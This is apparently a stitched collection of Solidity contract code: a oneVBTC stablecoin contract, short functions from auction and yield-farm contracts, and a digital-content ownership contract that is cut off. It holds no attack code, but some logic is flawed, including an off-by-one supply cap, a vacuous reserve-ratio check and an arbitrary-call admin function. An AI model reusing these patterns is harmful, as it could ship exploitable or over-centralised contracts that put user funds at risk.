ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity >=0.6.0; // interface for the oneToken interface OneToken { function getOneTokenUsd() external view returns (uint256); } // interface for CollateralOracle interface IOracleInterface { function getLatestPrice() external view returns (uint256); function update() external; function changeInterval(uint256 seconds_) external; function priceChangeMax(uint256 change_) external; } /// @title An overcollateralized stablecoin using vBTC /// @author Masanobu Fukuoka contract oneVBTC is ERC20("oneVBTC", "oneVBTC"), Ownable, ReentrancyGuard { using SafeMath for uint256; uint256 public MAX_RESERVE_RATIO; // At 100% reserve ratio, each oneVBTC is backed 1-to-1 by $1 of existing stable coins uint256 private constant DECIMALS = 9; uint256 public lastRefreshReserve; // The last time the reserve ratio was updated by the contract uint256 public minimumRefreshTime; // The time between reserve ratio refreshes address public stimulus; // oneVBTC builds a stimulus fund in vBTC. uint256 public stimulusDecimals; // used to calculate oracle rate of Uniswap Pair address public oneTokenOracle; // oracle for the oneVBTC stable coin bool public oneTokenOracleHasUpdate; //if oneVBTC token oracle requires update address public stimulusOracle; // oracle for a stimulus bool public stimulusOracleHasUpdate; //if stimulus oracle requires update // Only governance should cause the coin to go fully agorithmic by changing the minimum reserve // ratio. For now, we will set a conservative minimum reserve ratio. uint256 public MIN_RESERVE_RATIO; uint256 public MIN_DELAY; // Makes sure that you can't send coins to a 0 address and prevents coins from being sent to the // contract address. I want to protect your funds! modifier validRecipient(address to) { require(to != address(0x0)); require(to != address(this)); _; } uint256 private _totalSupply; mapping(address => uint256) private _oneBalances; mapping(address => uint256) private _lastCall; // used as a record to prevent flash loan attacks mapping (address => mapping (address => uint256)) private _allowedOne; // allowance to spend one address public gov; // who has admin rights over certain functions address public pendingGov; // allows you to transfer the governance to a different user - they must accept it! uint256 public reserveStepSize; // step size of update of reserve rate (e.g. 5 * 10 ** 8 = 0.5%) uint256 public reserveRatio; // a number between 0 and 100 * 10 ** 9. // 0 = 0% // 100 * 10 ** 9 = 100% // map of acceptable collaterals mapping (address => bool) public acceptedCollateral; mapping (address => uint256) public collateralMintFee; // minting fee for different collaterals (100 * 10 ** 9 = 100% fee) address[] public collateralArray; // array of collateral - used to iterate while updating certain things like oracle intervals for TWAP // modifier to allow auto update of TWAP oracle prices // also updates reserves rate programatically modifier updateProtocol() { if (address(oneTokenOracle) != address(0)) { // this is always updated because we always need stablecoin oracle price if (oneTokenOracleHasUpdate) IOracleInterface(oneTokenOracle).update(); if (stimulusOracleHasUpdate) IOracleInterface(stimulusOracle).update(); for (uint i = 0; i < collateralArray.length; i++){ if (acceptedCollateral[collateralArray[i]] && !oneCoinCollateralOracle[collateralArray[i]]) IOracleInterface(collateralOracle[collateralArray[i]]).update(); } // update reserve ratio if enough time has passed if (block.timestamp - lastRefreshReserve >= minimumRefreshTime) { // $Z / 1 one token if (getOneTokenUsd() > 1 * 10 ** 9) { setReserveRatio(reserveRatio.sub(reserveStepSize)); } else { setReserveRatio(reserveRatio.add(reserveStepSize)); } lastRefreshReserve = block.timestamp; } } _; } // events for off-chain record keeping event NewPendingGov(address oldPendingGov, address newPendingGov); event NewGov(address oldGov, address newGov); event NewReserveRate(uint256 reserveRatio); event Mint(address stimulus, address receiver, address collateral, uint256 collateralAmount, uint256 stimulusAmount, uint256 oneAmount); event Withdraw(address stimulus, address receiver, address collateral, uint256 collateralAmount, uint256 stimulusAmount, uint256 oneAmount); event NewMinimumRefreshTime(uint256 minimumRefreshTime); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data); modifier onlyIchiGov() { require(msg.sender == gov, "ACCESS: only Ichi governance"); _; } bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); // shortcut for calling transfer mapping (address => uint256) public collateralDecimals; // needed to be able to convert from different collaterals mapping (address => bool) public oneCoinCollateralOracle; // if true, we query the one token contract's usd price mapping (address => bool) public previouslySeenCollateral; // used to allow users to withdraw collateral, even if the collateral has since been deprecated // previouslySeenCollateral lets the contract know if a collateral has been used before - this also // prevents attacks where uses add a custom address as collateral, but that custom address is actually // their own malicious smart contract. Read peckshield blog for more info. mapping (address => address) public collateralOracle; // address of the Collateral-ETH Uniswap Price mapping (address => bool) public collateralOracleHasUpdate; // if collatoral oracle requires an update // default to 0 uint256 public mintFee; uint256 public withdrawFee; // fee to charge when minting oneVBTC - this will go into collateral event MintFee(uint256 fee_); // fee to charge when redeeming oneVBTC - this will go into collateral event WithdrawFee(uint256 fee_); // set governance access to only oneVBTC - USDC pool multisig (elected after rewards) modifier oneLPGov() { require(msg.sender == lpGov, "ACCESS: only oneLP governance"); _; } address public lpGov; address public pendingLPGov; event NewPendingLPGov(address oldPendingLPGov, address newPendingLPGov); event NewLPGov(address oldLPGov, address newLPGov); event NewMintFee(address collateral, uint256 oldFee, uint256 newFee); mapping (address => uint256) private _burnedStablecoin; // maps user to burned oneVBTC // important: make sure changeInterval is a function to allow the interval of update to change function addCollateral(address collateral_, uint256 collateralDecimal_, address oracleAddress_, bool oneCoinOracle, bool oracleHasUpdate) external oneLPGov { // only add collateral once if (!previouslySeenCollateral[collateral_]) collateralArray.push(collateral_); previouslySeenCollateral[collateral_] = true; acceptedCollateral[collateral_] = true; oneCoinCollateralOracle[collateral_] = oneCoinOracle; collateralDecimals[collateral_] = collateralDecimal_; collateralOracle[collateral_] = oracleAddress_; collateralMintFee[collateral_] = 0; collateralOracleHasUpdate[collateral_]= oracleHasUpdate; } function setCollateralMintFee(address collateral_, uint256 fee_) external oneLPGov { require(acceptedCollateral[collateral_], "invalid collateral"); require(fee_ <= 100 * 10 ** 9, "Fee must be valid"); emit NewMintFee(collateral_, collateralMintFee[collateral_], fee_); collateralMintFee[collateral_] = fee_; } // step size = how much the reserve rate updates per update cycle function setReserveStepSize(uint256 stepSize_) external oneLPGov { reserveStepSize = stepSize_; } // changes the oracle for a given collaterarl function setCollateralOracle(address collateral_, address oracleAddress_, bool oneCoinOracle_, bool oracleHasUpdate) external oneLPGov { require(acceptedCollateral[collateral_], "invalid collateral"); oneCoinCollateralOracle[collateral_] = oneCoinOracle_; collateralOracle[collateral_] = oracleAddress_; collateralOracleHasUpdate[collateral_] = oracleHasUpdate; } // removes a collateral from minting. Still allows withdrawals however function removeCollateral(address collateral_) external oneLPGov { acceptedCollateral[collateral_] = false; } // used for querying function getBurnedStablecoin(address _user) public view returns (uint256) { return _burnedStablecoin[_user]; } // returns 10 ** 9 price of collateral function getCollateralUsd(address collateral_) public view returns (uint256) { require(previouslySeenCollateral[collateral_], "must be an existing collateral"); if (oneCoinCollateralOracle[collateral_]) return OneToken(collateral_).getOneTokenUsd(); return IOracleInterface(collateralOracle[collateral_]).getLatestPrice(); } function globalCollateralValue() public view returns (uint256) { uint256 totalCollateralUsd = 0; for (uint i = 0; i < collateralArray.length; i++){ // Exclude null addresses if (collateralArray[i] != address(0)){ totalCollateralUsd += IERC20(collateralArray[i]).balanceOf(address(this)).mul(10 ** 9).div(10 ** collateralDecimals[collateralArray[i]]).mul(getCollateralUsd(collateralArray[i])).div(10 ** 9); // add stablecoin balance } } return totalCollateralUsd; } // return price of oneVBTC in 10 ** 9 decimal function getOneTokenUsd() public view returns (uint256) { return IOracleInterface(oneTokenOracle).getLatestPrice(); } /** * @return The total number of oneVBTC. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @param who The address to query. * @return The balance of the specified address. */ function balanceOf(address who) public override view returns (uint256) { return _oneBalances[who]; } /** * @dev Transfer tokens to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. * @return True on success, false otherwise. */ function transfer(address to, uint256 value) public override validRecipient(to) updateProtocol() returns (bool) { _oneBalances[msg.sender] = _oneBalances[msg.sender].sub(value); _oneBalances[to] = _oneBalances[to].add(value); emit Transfer(msg.sender, to, value); return true; } /** * @dev Function to check the amount of tokens that an owner has allowed to a spender. * @param owner_ The address which owns the funds. * @param spender The address which will spend the funds. * @return The number of tokens still available for the spender. */ function allowance(address owner_, address spender) public override view returns (uint256) { return _allowedOne[owner_][spender]; } /** * @dev Transfer tokens from one address to another. * @param from The address you want to send tokens from. * @param to The address you want to transfer to. * @param value The amount of tokens to be transferred. */ function transferFrom(address from, address to, uint256 value) public override validRecipient(to) updateProtocol() returns (bool) { _allowedOne[from][msg.sender] = _allowedOne[from][msg.sender].sub(value); _oneBalances[from] = _oneBalances[from].sub(value); _oneBalances[to] = _oneBalances[to].add(value); emit Transfer(from, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of * msg.sender. This method is included for ERC20 compatibility. * increaseAllowance and decreaseAllowance should be used instead. * Changing an allowance with this method brings the risk that someone may transfer both * the old and the new allowance - if they are both greater than zero - if a transfer * transaction is mined before the later approve() call is mined. * * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public override validRecipient(spender) updateProtocol() returns (bool) { _allowedOne[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Increase the amount of tokens that an owner has allowed to a spender. * This method should be used instead of approve() to avoid the double approval vulnerability * described above. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public override returns (bool) { _allowedOne[msg.sender][spender] = _allowedOne[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedOne[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public override returns (bool) { uint256 oldValue = _allowedOne[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedOne[msg.sender][spender] = 0; } else { _allowedOne[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedOne[msg.sender][spender]); return true; } function setOneTokenOracle(address oracle_, bool hasUpdate) external oneLPGov returns (bool) { oneTokenOracle = oracle_; oneTokenOracleHasUpdate = hasUpdate; return true; } function setStimulusOracle(address oracle_, bool hasUpdate) external oneLPGov returns (bool) { stimulusOracle = oracle_; stimulusOracleHasUpdate = hasUpdate; return true; } function setStimulusPriceChangeMax(uint256 change_) external oneLPGov returns (bool) { IOracleInterface(stimulusOracle).priceChangeMax(change_); return true; } // oracle rate is 10 ** 9 decimals // returns $Z / Stimulus function getStimulusUSD() public view returns (uint256) { return IOracleInterface(stimulusOracle).getLatestPrice(); } // minimum amount of block time (seconds) required for an update in reserve ratio function setMinimumRefreshTime(uint256 val_) external oneLPGov returns (bool) { require(val_ != 0, "minimum refresh time must be valid"); minimumRefreshTime = val_; // change collateral array for (uint i = 0; i < collateralArray.length; i++){ if (acceptedCollateral[collateralArray[i]] && !oneCoinCollateralOracle[collateralArray[i]] && collateralOracleHasUpdate[collateralArray[i]]) IOracleInterface(collateralOracle[collateralArray[i]]).changeInterval(val_); } if (oneTokenOracleHasUpdate) IOracleInterface(oneTokenOracle).changeInterval(val_); if (stimulusOracleHasUpdate) IOracleInterface(stimulusOracle).changeInterval(val_); // change all the oracles (collateral, stimulus, oneToken) emit NewMinimumRefreshTime(val_); return true; } constructor( uint256 reserveRatio_, address stimulus_, uint256 stimulusDecimals_ ) public { _setupDecimals(uint8(9)); stimulus = stimulus_; minimumRefreshTime = 3600 * 1; // 1 hour by default stimulusDecimals = stimulusDecimals_; reserveStepSize = 2 * 10 ** 8; // 0.2% by default MIN_RESERVE_RATIO = 95 * 10 ** 9; MAX_RESERVE_RATIO = 100 * 10 ** 9; MIN_DELAY = 3; // 3 blocks withdrawFee = 45 * 10 ** 7; // 0.45% fee at first, remains in collateral gov = msg.sender; lpGov = msg.sender; reserveRatio = reserveRatio_; uint256 firstMint = 1000 * 10 ** 9; //mint 1000 to create LP _totalSupply = firstMint; //mint 1000 to create LP _oneBalances[msg.sender] = firstMint; emit Transfer(address(0x0), msg.sender, firstMint); } function setMinimumReserveRatio(uint256 val_) external oneLPGov { MIN_RESERVE_RATIO = val_; if (MIN_RESERVE_RATIO > reserveRatio) setReserveRatio(MIN_RESERVE_RATIO); } function setMaximumReserveRatio(uint256 val_) external oneLPGov { MAX_RESERVE_RATIO = val_; if (MAX_RESERVE_RATIO < reserveRatio) setReserveRatio(MAX_RESERVE_RATIO); } function setMinimumDelay(uint256 val_) external oneLPGov { MIN_DELAY = val_; } // LP pool governance ==================================== function setPendingLPGov(address pendingLPGov_) external oneLPGov { address oldPendingLPGov = pendingLPGov; pendingLPGov = pendingLPGov_; emit NewPendingLPGov(oldPendingLPGov, pendingLPGov_); } function acceptLPGov() external { require(msg.sender == pendingLPGov, "!pending"); address oldLPGov = lpGov; // that lpGov = pendingLPGov; pendingLPGov = address(0); emit NewGov(oldLPGov, lpGov); } // over-arching protocol level governance =============== function setPendingGov(address pendingGov_) external onlyIchiGov { address oldPendingGov = pendingGov; pendingGov = pendingGov_; emit NewPendingGov(oldPendingGov, pendingGov_); } function acceptGov() external { require(msg.sender == pendingGov, "!pending"); address oldGov = gov; gov = pendingGov; pendingGov = address(0); emit NewGov(oldGov, gov); } // ====================================================== // calculates how much you will need to send in order to mint oneVBTC, depending on current market prices + reserve ratio // oneAmount: the amount of oneVBTC you want to mint // collateral: the collateral you want to use to pay // also works in the reverse direction, i.e. how much collateral + stimulus to receive when you burn One function consultOneDeposit(uint256 oneAmount, address collateral) public view returns (uint256, uint256) { require(oneAmount != 0, "must use valid oneAmount"); require(acceptedCollateral[collateral], "must be an accepted collateral"); uint256 stimulusUsd = getStimulusUSD(); // 10 ** 9 // convert to correct decimals for collateral uint256 collateralAmount = oneAmount.mul(reserveRatio).div(MAX_RESERVE_RATIO).mul(10 ** collateralDecimals[collateral]).div(10 ** DECIMALS); collateralAmount = collateralAmount.mul(10 ** 9).div(getCollateralUsd(collateral)); if (address(oneTokenOracle) == address(0)) return (collateralAmount, 0); uint256 stimulusAmountInOneStablecoin = oneAmount.mul(MAX_RESERVE_RATIO.sub(reserveRatio)).div(MAX_RESERVE_RATIO); uint256 stimulusAmount = stimulusAmountInOneStablecoin.mul(10 ** 9).div(stimulusUsd).mul(10 ** stimulusDecimals).div(10 ** DECIMALS); // must be 10 ** stimulusDecimals return (collateralAmount, stimulusAmount); } function consultOneWithdraw(uint256 oneAmount, address collateral) public view returns (uint256, uint256) { require(oneAmount != 0, "must use valid oneAmount"); require(previouslySeenCollateral[collateral], "must be an accepted collateral"); uint256 collateralAmount = oneAmount.sub(oneAmount.mul(withdrawFee).div(100 * 10 ** DECIMALS)).mul(10 ** collateralDecimals[collateral]).div(10 ** DECIMALS); collateralAmount = collateralAmount.mul(10 ** 9).div(getCollateralUsd(collateral)); return (collateralAmount, 0); } // @title: deposit collateral + stimulus token // collateral: address of the collateral to deposit (USDC, DAI, TUSD, etc) function mint( uint256 oneAmount, address collateral ) public payable nonReentrant updateProtocol() { require(acceptedCollateral[collateral], "must be an accepted collateral"); require(oneAmount != 0, "must mint non-zero amount"); // wait 3 blocks to avoid flash loans require((_lastCall[msg.sender] + MIN_DELAY) <= block.number, "action too soon - please wait a few more blocks"); // validate input amounts are correct (uint256 collateralAmount, uint256 stimulusAmount) = consultOneDeposit(oneAmount, collateral); require(collateralAmount <= IERC20(collateral).balanceOf(msg.sender), "sender has insufficient collateral balance"); require(stimulusAmount <= IERC20(stimulus).balanceOf(msg.sender), "sender has insufficient stimulus balance"); // checks passed, so transfer tokens SafeERC20.safeTransferFrom(IERC20(collateral), msg.sender, address(this), collateralAmount); SafeERC20.safeTransferFrom(IERC20(stimulus), msg.sender, address(this), stimulusAmount); oneAmount = oneAmount.sub(oneAmount.mul(mintFee).div(100 * 10 ** DECIMALS)); // apply mint fee oneAmount = oneAmount.sub(oneAmount.mul(collateralMintFee[collateral]).div(100 * 10 ** DECIMALS)); // apply collateral fee _totalSupply = _totalSupply.add(oneAmount); _oneBalances[msg.sender] = _oneBalances[msg.sender].add(oneAmount); emit Transfer(address(0x0), msg.sender, oneAmount); _lastCall[msg.sender] = block.number; emit Mint(stimulus, msg.sender, collateral, collateralAmount, stimulusAmount, oneAmount); } // fee_ should be 10 ** 9 decimals (e.g. 10% = 10 * 10 ** 9) function editMintFee(uint256 fee_) external onlyIchiGov { require(fee_ <= 100 * 10 ** 9, "Fee must be valid"); mintFee = fee_; emit MintFee(fee_); } // fee_ should be 10 ** 9 decimals (e.g. 10% = 10 * 10 ** 9) function editWithdrawFee(uint256 fee_) external onlyIchiGov { withdrawFee = fee_; emit WithdrawFee(fee_); } /// burns stablecoin and increments _burnedStablecoin mapping for user /// user can claim collateral in a 2nd step below function withdraw( uint256 oneAmount, address collateral ) public nonReentrant updateProtocol() { require(oneAmount != 0, "must withdraw non-zero amount"); require(oneAmount <= _oneBalances[msg.sender], "insufficient balance"); require(previouslySeenCollateral[collateral], "must be an existing collateral"); require((_lastCall[msg.sender] + MIN_DELAY) <= block.number, "action too soon - please wait a few blocks"); // burn oneAmount _totalSupply = _totalSupply.sub(oneAmount); _oneBalances[msg.sender] = _oneBalances[msg.sender].sub(oneAmount); _burnedStablecoin[msg.sender] = _burnedStablecoin[msg.sender].add(oneAmount); _lastCall[msg.sender] = block.number; emit Transfer(msg.sender, address(0x0), oneAmount); } // 2nd step for withdrawal of collateral // this 2 step withdrawal is important for prevent flash-loan style attacks // flash-loan style attacks try to use loops/complex arbitrage strategies to // drain collateral so adding a 2-step process prevents any potential attacks // because all flash-loans must be repaid within 1 tx and 1 block /// @notice If you are interested, I would recommend reading: https://slowmist.medium.com/ /// also https://cryptobriefing.com/50-million-lost-the-top-19-defi-cryptocurrency-hacks-2020/ function withdrawFinal(address collateral, uint256 amount) public nonReentrant updateProtocol() { require(previouslySeenCollateral[collateral], "must be an existing collateral"); require((_lastCall[msg.sender] + MIN_DELAY) <= block.number, "action too soon - please wait a few blocks"); uint256 oneAmount = _burnedStablecoin[msg.sender]; require(oneAmount != 0, "insufficient oneVBTC to redeem"); require(amount <= oneAmount, "insufficient oneVBTC to redeem"); _burnedStablecoin[msg.sender] = _burnedStablecoin[msg.sender].sub(amount); // send collateral - fee (convert to collateral decimals too) uint256 collateralAmount = amount.sub(amount.mul(withdrawFee).div(100 * 10 ** DECIMALS)).mul(10 ** collateralDecimals[collateral]).div(10 ** DECIMALS); collateralAmount = collateralAmount.mul(10 ** 9).div(getCollateralUsd(collateral)); uint256 stimulusAmount = 0; // check enough reserves - don't want to burn one coin if we cannot fulfill withdrawal require(collateralAmount <= IERC20(collateral).balanceOf(address(this)), "insufficient collateral reserves - try another collateral"); SafeERC20.safeTransfer(IERC20(collateral), msg.sender, collateralAmount); _lastCall[msg.sender] = block.number; emit Withdraw(stimulus, msg.sender, collateral, collateralAmount, stimulusAmount, amount); } // internal function used to set the reserve ratio of the token // must be between MIN / MAX Reserve Ratio, which are constants // cannot be 0 function setReserveRatio(uint256 newRatio_) internal { require(newRatio_ >= 0, "positive reserve ratio"); if (newRatio_ <= MAX_RESERVE_RATIO && newRatio_ >= MIN_RESERVE_RATIO) { reserveRatio = newRatio_; emit NewReserveRate(reserveRatio); } } /// @notice easy function transfer ETH (not WETH) function safeTransferETH(address to, uint value) public oneLPGov { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'ETH_TRANSFER_FAILED'); } /// @notice easy funtion to move stimulus to a new location // location: address to send to // amount: amount of stimulus to send (use full decimals) function moveStimulus( address location, uint256 amount ) public oneLPGov { SafeERC20.safeTransfer(IERC20(stimulus), location, amount); } // can execute any abstract transaction on this smart contrat // target: address / smart contract you are interracting with // value: msg.value (amount of eth in WEI you are sending. Most of the time it is 0) // signature: the function signature (name of the function and the types of the arguments). // for example: "transfer(address,uint256)", or "approve(address,uint256)" // data: abi-encodeded byte-code of the parameter values you are sending. See "./encode.js" for Ether.js library function to make this easier function executeTransaction(address target, uint value, string memory signature, bytes memory data) public payable oneLPGov returns (bytes memory) { bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "oneVBTC::executeTransaction: Transaction execution reverted."); return returnData; } }
If you are interested, I would recommend reading: https://slowmist.medium.com/ also https://cryptobriefing.com/50-million-lost-the-top-19-defi-cryptocurrency-hacks-2020/ send collateral - fee (convert to collateral decimals too) check enough reserves - don't want to burn one coin if we cannot fulfill withdrawal
function withdrawFinal(address collateral, uint256 amount) public nonReentrant updateProtocol() { require(previouslySeenCollateral[collateral], "must be an existing collateral"); require((_lastCall[msg.sender] + MIN_DELAY) <= block.number, "action too soon - please wait a few blocks"); uint256 oneAmount = _burnedStablecoin[msg.sender]; require(oneAmount != 0, "insufficient oneVBTC to redeem"); require(amount <= oneAmount, "insufficient oneVBTC to redeem"); _burnedStablecoin[msg.sender] = _burnedStablecoin[msg.sender].sub(amount); uint256 collateralAmount = amount.sub(amount.mul(withdrawFee).div(100 * 10 ** DECIMALS)).mul(10 ** collateralDecimals[collateral]).div(10 ** DECIMALS); collateralAmount = collateralAmount.mul(10 ** 9).div(getCollateralUsd(collateral)); uint256 stimulusAmount = 0; require(collateralAmount <= IERC20(collateral).balanceOf(address(this)), "insufficient collateral reserves - try another collateral"); SafeERC20.safeTransfer(IERC20(collateral), msg.sender, collateralAmount); _lastCall[msg.sender] = block.number; emit Withdraw(stimulus, msg.sender, collateral, collateralAmount, stimulusAmount, amount); }
6,737,112
./full_match/1/0x2dA4e98b98aE7C65217BF4b5a10FE9f78D381F8e/sources/contracts/VSP/VaynerSportsAuction.sol
Changes the time allotted for bidding in the auction. Only the owner of the contract can call this function. _timeToBid The new time (in seconds) for bidding in the auction./
function changeTimeToBid(uint256 _timeToBid) external onlyOwner { require( block.timestamp < (beginAuctionTime + timeToBid), "Auction has ended" ); timeToBid = _timeToBid; }
16,588,746
./full_match/43113/0x4BaF61EF436Ca3BC7881F8085e597cB4b4904729/sources/contracts/Pantheon_Finance_Testing/MasterChef_to_check.sol
Only update before start of farm
function updateStartBlock(uint256 _startBlock) onlyOwner external{ require(startBlock > block.number, "Farm already started"); uint256 length = poolInfo.length; for(uint256 pid = 0; pid < length; ++pid){ PoolInfo storage pool = poolInfo[pid]; pool.lastRewardBlock = _startBlock; } startBlock = _startBlock; emit UpdateStartBlock(msg.sender, _startBlock); }
7,164,765
pragma solidity 0.6.5; pragma experimental ABIEncoderV2; import "./DigitalContentSpec.sol"; import "./SafeMath.sol"; /// @title RightsDigitalConentObject contract DigitalContentObject is DigitalContentSpec { using SafeMath for uint; /*** DATA TYPES ***/ struct DigitalContentObject { uint256 specId; // content spec id string mediaId; // media file id string info; //content's additional information } /*** STORAGE ***/ DigitalContentObject[] private digitalContentObjects; // all object list (this index is objectId) // Mapping from object ID to owner mapping (uint256 => address) private _objectOwner; // Mapping from object ID to approved address mapping (uint256 => address) private _objectApprovals; // Mapping from owner to list of owned object IDs mapping(address => uint256[]) private _ownedObjects; // Mapping from owner to number of owned object mapping (address => uint256) private _ownedObjectsCount; // Mapping from spec ID to index of the minted objects list mapping(uint256 => uint256[]) private mintedObjects; // Mapping from object id to position in the minted objects array mapping(uint256 => uint256) private mintedObjectsIndex; // Array with all object ids, used for enumeration uint256[] private _allObjects; /*** Event ***/ event MintLog( address owner, uint256 objectId, string mediaId, string info, uint256 specId ); event SetMediaIdLog( address owner, uint256 objectId, string mediaId ); event TransferLog( address from, address to, uint256 objectId ); event ApprovalLog( address owner, address to, uint256 objectId ); event SetInfoLog( address owner, uint256 objectId, string info ); /*** EXTERNAL FUNCTIONS ***/ /** * @dev Mint a DigitalContent. * @param _to The address that will own the minted object * @param _specId spec identifer * @param _mediaId mediaId * @param _info info */ function mint( address _to, uint256 _specId, string memory _mediaId, string memory _info ) public whenNotPaused { require(specOwnerOf(_specId) == msg.sender); // check total supply count require( totalSupplyLimitOf(_specId) >= mintedObjects[_specId].length || totalSupplyLimitOf(_specId) == 0 ); require( keccak256(abi.encodePacked(_mediaId)) == keccak256(abi.encodePacked(mediaIdOf(_specId))) ); DigitalContentObject memory digitalContentObject = DigitalContentObject({ specId : _specId, mediaId: _mediaId, info: _info }); digitalContentObjects.push(digitalContentObject); uint256 objectId = digitalContentObjects.length.sub(1); _mint(_to, objectId); _addObjectTo(_specId, objectId); emit MintLog( _to, objectId, _mediaId, _info, digitalContentObject.specId ); } /** * @dev Set MediaId * @param _objectId object identifer * @param _mediaId mediaId */ function setMediaId(uint256 _objectId, string memory _mediaId) public whenNotPaused { require(_objectExists(_objectId)); DigitalContentObject storage digitalContent = digitalContentObjects[_objectId]; require(specOwnerOf(digitalContent.specId) == msg.sender); require(keccak256(abi.encodePacked(digitalContent.mediaId)) == keccak256(abi.encodePacked(""))); // set mediaId digitalContent.mediaId = _mediaId; emit SetMediaIdLog(msg.sender, _objectId, digitalContent.mediaId); } function setInfo(uint256 _objectId, string memory _info) public whenNotPaused { require(_objectExists(_objectId)); DigitalContentObject storage digitalContent = digitalContentObjects[_objectId]; require(objectOwnerOf(_objectId) == msg.sender); // set digitalContent.info = _info; emit SetInfoLog(msg.sender, _objectId, digitalContent.info); } /** * @dev Get DigitalContent. * @param _objectId object identifer * @return objectId object id * @return specId spec id * @return mediaId media id * @return info info * @return owner owner address * @return objectIndex object index */ function getDigitalContentObject(uint256 _objectId) public view returns ( uint256 objectId, uint256 specId, string memory mediaId, string memory info, address owner, uint256 objectIndex ) { require(_objectExists(_objectId)); DigitalContentObject storage digitalContent = digitalContentObjects[_objectId]; address objectOwner = objectOwnerOf(_objectId); return ( _objectId, digitalContent.specId, digitalContent.mediaId, digitalContent.info, objectOwner, mintedObjectsIndex[_objectId] ); } /** * @dev Get specId of DigitalContent. * @param _objectId object identifer * @return specId */ function specIdOf(uint256 _objectId) public view returns (uint256) { require(_objectExists(_objectId)); return digitalContentObjects[_objectId].specId; } /** * @dev Get mediaId of DigitalContent. * @param _objectId object identifer * @return mediaId */ function objectMediaIdOf(uint256 _objectId) public view returns (string memory) { require(_objectExists(_objectId)); return digitalContentObjects[_objectId].mediaId; } /** * @dev Get info of DigitalContent. * @param _objectId object identifer * @return info */ function objectInfoOf(uint256 _objectId) public view returns (string memory) { require(_objectExists(_objectId)); return digitalContentObjects[_objectId].info; } /** * @dev Gets the total amount of objects stored by the contract per spec * @param _specId spec identifer * @return uint256 representing the total amount of objects per spec */ function totalSupplyOf(uint256 _specId) public view returns (uint256) { require(specOwnerOf(_specId) != address(0)); return mintedObjects[_specId].length; } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function objectBalanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedObjectsCount[owner]; } /** * @dev Get objectIndex of DigitalContent. * @param _objectId object identifer * @return objectIndex */ function objectIndexOf(uint256 _objectId) public view returns (uint256) { require(_objectExists(_objectId)); return mintedObjectsIndex[_objectId]; } /** * @dev Gets the owner of the specified object ID. * @param _objectId uint256 ID of the object to query the owner of * @return address currently marked as the owner of the given object ID */ function objectOwnerOf(uint256 _objectId) public view returns (address) { address owner = _objectOwner[_objectId]; require(owner != address(0), "ERC721: owner query for nonexistent object"); return owner; } /** * @dev Transfers the ownership of a given object ID to another address. * @param _to address to receive the ownership of the given object ID * @param _objectId uint256 ID of the object to be transferred */ function transfer(address _to, uint256 _objectId) public { _transfer(msg.sender, _to, _objectId); } /** * @dev Transfers the ownership of a given object ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param _from current owner of the object * @param _to address to receive the ownership of the given object ID * @param _objectId uint256 ID of the object to be transferred */ function transferFrom(address _from, address _to, uint256 _objectId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(msg.sender, _objectId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(_from, _to, _objectId); } /** * @dev Approves another address to transfer the given object ID * The zero address indicates there is no approved address. * There can only be one approved address per object at a given time. * Can only be called by the object owner or an approved operator. * @param to address to be approved for the given object ID * @param _objectId uint256 ID of the object to be approved */ function approve(address to, uint256 _objectId) public { address owner = objectOwnerOf(_objectId); require(to != owner, "ERC721: approval to current owner"); require(msg.sender == owner, "ERC721: approve caller is not owner nor approved for all" ); _objectApprovals[_objectId] = to; emit ApprovalLog(owner, to, _objectId); } /** * @dev Gets the approved address for a object ID, or zero if no address set * Reverts if the object ID does not exist. * @param _objectId uint256 ID of the object to query the approval of * @return address currently approved for the given object ID */ function getApproved(uint256 _objectId) public view returns (address) { require(_objectExists(_objectId), "ERC721: approved query for nonexistent object"); return _objectApprovals[_objectId]; } /*** INTERNAL FUNCTIONS ***/ /** * @dev Internal function to mint a new object. * Reverts if the given object ID already exists. * @param _to address the beneficiary that will own the minted object * @param _objectId uint256 ID of the object to be minted */ function _mint(address _to, uint256 _objectId) internal { _ownedObjects[_to].push(_objectId); _objectOwner[_objectId] = _to; _ownedObjectsCount[_to] += 1; } /** * @dev Internal function to add a object ID to the list of the spec * @param _specId uint256 ID of the spec * @param _objectId uint256 ID of the object to be added to the objects list of the given address */ function _addObjectTo(uint256 _specId, uint256 _objectId) internal { mintedObjects[_specId].push(_objectId); mintedObjectsIndex[_objectId] = mintedObjects[_specId].length; } /** * @dev Internal function to transfer ownership of a given object ID to another address. * @param _to address to receive the ownership of the given object ID * @param _objectId uint256 ID of the object to be transferred */ function _transfer(address _sender, address _to, uint256 _objectId) internal { require(objectOwnerOf(_objectId) == _sender, "ERC721: transfer of object that is not own"); require(_to != address(0), "ERC721: transfer to the zero address"); 